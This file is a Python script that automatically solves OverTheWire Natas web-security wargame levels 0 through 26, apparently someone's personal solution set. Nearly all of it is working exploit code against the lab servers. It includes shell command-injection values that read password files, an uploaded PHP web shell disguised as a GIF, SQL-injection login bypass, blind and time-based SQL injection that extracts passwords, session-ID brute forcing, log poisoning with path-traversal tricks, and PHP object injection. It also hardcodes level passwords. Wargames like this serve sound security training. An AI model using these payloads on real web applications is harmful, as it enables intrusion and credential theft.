Temporary file for my solutions to OverTheWire - Natas

Natas

import re import sys import requests def natas0(verbose=False): username = 'natas0' password = username url = f'http://{username}.natas.labs.overthewire.org' response = requests.get(url, auth=(username, password)) content = response.text return re.findall('<!--The password for natas1 is (.*) -->', content)[0] def natas1(verbose=False): username = 'natas1' password = 'gtVrDuiDfck831PqWsLEZy5gyDz1clto' url = f'http://{username}.natas.labs.overthewire.org' response = requests.get(url, auth=(username, password)) content = response.text return re.findall('<!--The password for natas2 is (.*) -->', content)[0] def natas2(verbose=False): username = 'natas2' password = 'ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi' url = f'http://{username}.natas.labs.overthewire.org/files/users.txt' response = requests.get(url, auth=(username, password)) content = response.text return re.findall('natas3:(.*)', content)[0] def natas3(verbose=False): username = 'natas3' password = 'sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14' url = f'http://{username}.natas.labs.overthewire.org/s3cr3t/users.txt' response = requests.get(url, auth=(username, password)) content = response.text return re.findall('natas4:(.*)', content)[0] def natas4(verbose=False): username = 'natas4' password = 'Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ' headers = {'Referer': 'http://natas5.natas.labs.overthewire.org/'} url = f'http://{username}.natas.labs.overthewire.org' response = requests.get(url, auth=(username, password), headers=headers) content = response.text return re.findall('Access granted. The password for natas5 is (.*)', content)[0] def natas5(verbose=False): username = 'natas5' password = 'iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq' cookies = {'loggedin': '1'} url = f'http://{username}.natas.labs.overthewire.org' with requests.Session() as session: response = session.get(url, auth=(username, password), cookies=cookies) content = response.text return re.findall('Access granted. The password for natas6 is (.*)</div>', content)[0] def natas6(verbose=False): username = 'natas6' password = 'aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1' url = f'http://{username}.natas.labs.overthewire.org' data = { 'secret': 'FOEIUWGHFEEUHOFUOIU', 'submit': 'submit', } response = requests.post(url, auth=(username, password), data=data) content = response.text flag = re.findall('Access granted. The password for natas7 is (.*)', content)[0] return flag def natas7(verbose=False): username = 'natas7' password = '7z3hEENjQtflzgnT29q7wAvMNfZdh0i9' url = f'http://{username}.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8' response = requests.post(url, auth=(username, password)) content = response.text flag = re.findall('<br>\n(.*)\n\n<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->', content)[0] return flag def natas8(verbose=False): import base64 username = 'natas8' password = 'DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe' url = f'http://{username}.natas.labs.overthewire.org/' # Get encoded_secret '3d3d516343746d4d6d6c315669563362' from source code URL # $encodedSecret&nbsp;=&nbsp;"3d3d516343746d4d6d6c315669563362"; response = requests.get(f'{url}index-source.html', auth=(username, password)) encoded_secret = re.findall(r'\$encodedSecret&nbsp;=&nbsp;"([^"]*)";', response.text)[0] # Reverse secret based on source code secret = base64.b64decode(bytes.fromhex(encoded_secret).decode('utf-8')[::-1]).decode() data = { 'secret': secret, 'submit': 'submit', } # Pass secret value via POST request response = requests.post(url, auth=(username, password), data=data) content = response.text flag = re.findall('Access granted. The password for natas9 is (.*)', content)[0] return flag def natas9(verbose=False): username = 'natas9' password = 'W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl' url = f'http://{username}.natas.labs.overthewire.org' data = { 'needle': '; cat /etc/natas_webpass/natas10; #', 'submit': 'submit', } response = requests.post(url, auth=(username, password), data=data) content = response.text flag = re.findall('Output:\n<pre>\n(.*)\n</pre>', content)[0] return flag def natas10(verbose=False): username = 'natas10' password = 'nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu' url = f'http://{username}.natas.labs.overthewire.org' data = { 'needle': '. /etc/natas_webpass/natas11 #', 'submit': 'submit', } response = requests.post(url, auth=(username, password), data=data) content = response.text flag = re.findall('Output:\n<pre>\n(.*)\n</pre>', content)[0] return flag def natas11(verbose=False): import base64 import urllib username = 'natas11' password = 'U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK' url = f'http://{username}.natas.labs.overthewire.org' # PHP xor_encrypt() function from natas11 source converted to Python def xor(x, y): output = '' for i in range(len(x)): output += chr(ord(x[i]) ^ ord(y[i % len(y)])) return output with requests.Session() as session: session.auth = (username, password) response = session.get(url) # Cookie received is URL encoded, so decode using urllib.parse.unquote(str) cookie_received = urllib.parse.unquote(session.cookies['data']) # After URL decoding, decode from base64 b64_decoded = base64.b64decode(cookie_received) # Original $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); showpassword_no = '{"showpassword":"no","bgcolor":"#ffffff"}' ''' Unnecessary steps, but demonstrates bin2hex and hex2bin # Convert from binary to hex hex_encoded = b64_decoded.hex() # Convert from hex to binary binary_encoded = bytes.fromhex(hex_encoded).decode() # XOR will return same result as direct method below xor_key = xor(showpassword_no, binary_encoded) ''' xor_key = xor(showpassword_no, b64_decoded.decode()) # xor_key is a repeated string 'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq' key = xor_key[:4] # Key is the first 4 characters that get repeated # XOR showpassword_yes with key to generate cookie_payload showpassword_yes = '{"showpassword":"yes","bgcolor":"#ffffff"}' ciphertext = xor(showpassword_yes, key) cookie_payload = base64.b64encode(ciphertext.encode()).decode() session.cookies.set('data', cookie_payload) response = session.get(url) content = response.text return re.findall('The password for natas12 is (.*)<br>', content)[0] def natas12(verbose=False): level = 12 username = f'natas{level}' password = 'EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3' url = f'http://{username}.natas.labs.overthewire.org/' ''' <?php system($_GET['foo_bar']); ?> ''' # Upload PHP reverse shell file via POST request response = requests.post( url, auth=(username, password), files = {'uploadedfile': open(f'{username}_reverse_shell.php', 'rb')}, data = {'filename': f'{username}_reverse_shell.php'} ) # Get location of uploaded PHP reverse shell file relative_path = re.findall('The file <a href="(.*)">upload/', response.text)[0] # Use uploaded PHP reverse shell file to read contents of password file command = f'?foo_bar=cat /etc/natas_webpass/natas{level+1}' response = requests.post(url+relative_path+command, auth=(username, password)) return response.text.strip() def natas13(verbose=False): level = 13 username = f'natas{level}' password = 'jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY' url = f'http://{username}.natas.labs.overthewire.org/' ''' GIF89a <?php system($_GET['foo_bar']); ?> ''' # Upload PHP reverse shell file disguised as GIF89a image file via POST request response = requests.post( url, auth=(username, password), files = {'uploadedfile': open(f'{username}_reverse_shell.php', 'rb')}, data = {'filename': f'{username}_reverse_shell.php'} ) # Get location of uploaded PHP reverse shell file relative_path = re.findall('The file <a href="(.*)">upload/', response.text)[0] # Use uploaded PHP reverse shell file to read contents of password file command = f'?foo_bar=cat /etc/natas_webpass/natas{level+1}' response = requests.post(url+relative_path+command, auth=(username, password)) return re.findall('GIF89a\n\n(.*)\n', response.text)[0] def natas14(verbose=False): level = 14 username = f'natas{level}' password = 'Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1' url = f'http://{username}.natas.labs.overthewire.org/' sql_command = '" OR 1=1 #' data = { 'username': sql_command, 'password': '', } response = requests.post(url, auth=(username, password), data=data) content = response.text flag = re.findall('Successful login! The password for natas15 is (.*)<br>', content)[0] return flag def natas15(verbose=False): import string level = 15 username = f'natas{level}' password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J' url = f'http://{username}.natas.labs.overthewire.org/' # Generate list of all possible flag characters possible_characters = string.ascii_lowercase + string.ascii_uppercase + string.digits def http_request(username, password, password_try): sql_command = f'natas16" AND BINARY password LIKE "{password_try}%" #' data = {'username': sql_command} response = requests.post(url, auth=(username, password), data=data) return response.text # flag = '' flag = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh' loop = True while loop: for counter, char in enumerate(possible_characters): password_try = flag + char if verbose: print(f'Level {level}\tTrying...' + password_try) if 'This user exists.' in http_request(username, password, password_try): flag += char break elif counter==len(possible_characters)-1: # If none of possible_characters match, then stop looping loop = False return flag def natas16(verbose=False): import string level = 16 username = f'natas{level}' password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh' url = f'http://{username}.natas.labs.overthewire.org/' # Generate list of all possible flag characters possible_characters = string.ascii_letters + string.digits def http_request(username, password, password_try): bash_command = f'vulnerability$(grep ^{password_try} /etc/natas_webpass/natas17)' data = {'needle': bash_command} response = requests.post(url, auth=(username, password), data=data) return response.text # flag = '' flag = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw' loop = True while loop: for counter, char in enumerate(possible_characters): password_try = flag + char if verbose: print(f'Level {level}\tTrying...' + password_try) if 'Output:\n<pre>\nvulnerability\n</pre>\n' not in http_request(username, password, password_try): flag += char break elif counter==len(possible_characters)-1: # If none of possible_characters match, then stop looping loop = False return flag def natas17(verbose=False): import string from time import time level = 17 username = f'natas{level}' password = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw' url = f'http://{username}.natas.labs.overthewire.org/' # Generate list of all possible flag characters possible_characters = string.ascii_letters + string.digits def http_request(username, password, password_try): t0 = time() sql_command = f'natas18" AND BINARY password LIKE "{password_try}%" AND SLEEP(10) #' data = {'username': sql_command} response = requests.post(url, auth=(username, password), data=data) return time()-t0 # flag = '' flag = 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP' loop = True while loop: for counter, char in enumerate(possible_characters): password_try = flag + char t1 = http_request(username, password, password_try) if verbose: print(f'Level {level}\tTrying...', password_try, str(round(t1, 3)), 'seconds') if t1 > 10: # If reponse time > 10 secs, then SQL 'SLEEP' command succeeded and password_try character(s) exist(s) flag += char break elif counter==len(possible_characters)-1: # If none of possible_characters match, then stop looping loop = False return flag def natas18(verbose=False): level = 18 username = f'natas{level}' password = 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP' url = f'http://{username}.natas.labs.overthewire.org/' def http_request(session_id): with requests.Session() as session: cookies={'PHPSESSID': session_id} response = session.post(url, auth=(username, password), cookies=cookies) return response.text range_start = 118 # Set to 0 to run full range range_end = 641 for session_id in range(range_start, range_end): content = http_request(str(session_id)) if 'You are logged in as a regular user. Login as an admin to retrieve credentials' in content: if verbose: print(f'Level {level}\tTrying... PHPSESSID', session_id) elif 'You are an admin. The credentials for the next level are:' in content: return re.findall('The credentials for the next level are:<br><pre>Username: natas19\nPassword: (.*)</pre>', content)[0] else: return 'Error, incorrect PHPSESSID.' def natas19(verbose=False): import binascii level = 19 username = f'natas{level}' password = '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs' url = f'http://{username}.natas.labs.overthewire.org/' def http_request(session_id): with requests.Session() as session: cookies = {'PHPSESSID': session_id} response = session.post(url, auth=(username, password), cookies=cookies) return response.text range_start = 280 # Set to 0 to run full range range_end = 641 for i in range(range_start, range_end): PHPSESSID = binascii.hexlify(f'{str(i)}-admin'.encode()).decode() content = http_request(PHPSESSID) if 'You are logged in as a regular user. Login as an admin to retrieve credentials for natas20.</div>' in content: if verbose: print(f'Level {level}\tTrying... id', str(i).zfill(3), 'PHPSESSID:', PHPSESSID) elif 'You are an admin. The credentials for the next level are:<br><pre>Username: natas20' in content: return re.findall('Password: (.*)</pre></div>', content)[0] else: return 'Error, incorrect PHPSESSID.' def natas20(verbose=False): level = 20 username = f'natas{level}' password = 'eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF' url = f'http://{username}.natas.labs.overthewire.org/' with requests.Session() as session: session.auth=(username, password) data = {'name': 'foobar\nadmin 1'} # Send newline admin payload via POST request response = session.post(url=url, data=data) # Make new HTTP request with cookie obtained from previous request response = session.get(url=url, cookies=response.cookies) flag = re.findall('Password: (.*)</pre>', response.text)[0] return flag def natas21(verbose=False): level = 21 username = f'natas{level}' password = 'IFekPyrQXftziDEsUr3x21sYuahypdgJ' url = f'http://{username}.natas.labs.overthewire.org/' experimenter_url = f'http://{username}-experimenter.natas.labs.overthewire.org/index.php' with requests.Session() as session: # Set admin value to '1' via POST request data = {'admin': '1', 'submit': 'submit'} response = session.post(url=experimenter_url, auth=(username, password), data=data) # Get automatically assigned PHPSESSID from experimenter URL cookies= {'PHPSESSID': response.cookies.get('PHPSESSID')} # Since session is shared, use same PHPSESSID to access main URL to log in as admin response = session.post(url=url, auth=(username, password), cookies=cookies) flag = re.findall('Password: (.*)</pre>', response.text)[0] return flag def natas22(verbose=False): level = 22 username = f'natas{level}' password = 'chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ' url = f'http://{username}.natas.labs.overthewire.org/' response = requests.get(url=f'{url}?revelio', auth=(username, password), allow_redirects=False) flag = re.findall('Password: (.*)</pre>', response.text)[0] return flag def natas23(verbose=False): level = 23 username = f'natas{level}' password = 'D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE' url = f'http://{username}.natas.labs.overthewire.org/' # PHP code: if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10)){ ... # As there is an 'e' in the string, then it is treated as a float in $_REQUEST["passwd"] > 10 # Therefore prepend number larger than 10 to string data = {'passwd': '99iloveyou'} response = requests.post(url=url, auth=(username, password), data=data) flag = re.findall('<pre>Username: natas24 Password: (.*)</pre>', response.text)[0] return flag def natas24(verbose=False): level = 24 username = f'natas{level}' password = 'OsRmXFguozKpTZZ5X14zNO43379LZveg' url = f'http://{username}.natas.labs.overthewire.org/' response = requests.get(url=f'{url}?passwd[]', auth=(username, password)) flag = re.findall('Password: (.*)</pre>', response.text)[0] return flag def natas25(verbose=False): level = 25 username = f'natas{level}' password = 'GHF6X7YwACaYYssHVY05cFq83hRktl4c' url = f'http://{username}.natas.labs.overthewire.org/' with requests.Session() as session: session.auth = (username, password) response = session.get(url=f'{url}?lang=en') PHPSESSID = response.cookies.get('PHPSESSID') # PHP code prevents inclusion of 'natas_webpass': strstr($filename,"natas_webpass") # But logs are saved to server # Therefore include PHP payload in User-Agent header php_payload = "<?php system('cat /etc/natas_webpass/natas26'); ?>" headers = {'User-Agent': php_payload} # language of website is set by taking 'lang' parameter and reading file # PHP code replaces '../' with '': $filename=str_replace("../","",$filename); # Therefore '..././' will reduce to '../', then link to payload log file # $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a"); data = {'lang': '..././'*5 + 'var/www/natas/natas25/logs/natas25_' + PHPSESSID + '.log'} response = session.post(url, data=data, headers=headers) flag = re.findall('] ([a-zA-Z0-9]*)\n "Directory traversal attempt! fixing request."', response.text)[0] return flag def natas26(verbose=False): import base64 import subprocess level = 26 username = f'natas{level}' password = 'oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T' url = f'http://{username}.natas.labs.overthewire.org/' ''' <?php class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct(){ // initialise variables $this->initMsg = "<?php system('cat /etc/natas_webpass/natas27'); ?>"; $this->exitMsg = "<?php system('cat /etc/natas_webpass/natas27'); ?>"; $this->logFile = "img/00000000.php"; // write initial message $fd=fopen($this->logFile,"a+"); fwrite($fd,$initMsg); fclose($fd); } function log($msg){ $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ // write exit message $fd=fopen($this->logFile,"a+"); fwrite($fd,$this->exitMsg); fclose($fd); } } $logger_object = new Logger(); // echo(serialize($logger_object)); // echo("\n"); echo(base64_encode(serialize($logger_object))); // echo("\n"); ?> ''' subproc = subprocess.run( args = ['php', 'natas26_php_object_injection.php'], stdout = subprocess.PIPE, stderr = subprocess.DEVNULL, text = True, ) php_object_b64 = subproc.stdout # php_object_b64 = 'Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxNjoiaW1nLzAwMDAwMDAwLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjUwOiI8P3BocCBzeXN0ZW0oJ2NhdCAvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA/PiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjUwOiI8P3BocCBzeXN0ZW0oJ2NhdCAvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA/PiI7fQ==' with requests.Session() as session: session.auth = (username, password) session.cookies['drawing'] = php_object_b64 response = session.get(url) response = session.get(url + 'img/00000000.php') return response.text.split('\n')[0] def output_next_level(level, flag): return f'natas{level}\thttp://natas{level}.natas.labs.overthewire.org/\t{flag}' def get_flag(level, **kwargs): func = globals().get(f'natas{level}') if func: return output_next_level(level+1, func(**kwargs)) else: return f'Error! Function natas{level} not found.' def get_all_flag_funcs(): natas_funcs = [] for k,v in globals().items(): if 'natas' in k: natas_funcs.append(v) return natas_funcs def error_main(): sys.stderr.write(f'Usage:\n$ python {sys.argv[0]}\n$ python {sys.argv[0]} -v -l <arg>\t(where <arg> must be an integer)\n') def main(): if len(sys.argv)==1: print(output_next_level(0, 'natas0')) for counter, func in enumerate(get_all_flag_funcs()): print(output_next_level(counter+1, func())) print('--END--') elif len(sys.argv)>1: kwargs = {} if '-v' in sys.argv: kwargs.update({'verbose': True}) if '-l' in sys.argv and sys.argv.index('-l')<len(sys.argv)-1 and sys.argv[sys.argv.index('-l')+1].isdigit(): sys.stdout.write(f'{get_flag(int(sys.argv[sys.argv.index("-l")+1]), **kwargs)}\n') elif len(sys.argv)==2: print(output_next_level(0, 'natas0')) for counter, func in enumerate(get_all_flag_funcs()): print(output_next_level(counter+1, func(**kwargs))) print('--END--') else: error_main() elif '-l' in sys.argv and sys.argv.index('-l')<len(sys.argv)-1 and sys.argv[sys.argv.index('-l')+1].isdigit(): sys.stdout.write(f'{get_flag(int(sys.argv[sys.argv.index("-l")+1]))}\n') else: error_main() else: error_main() if __name__=='__main__': main()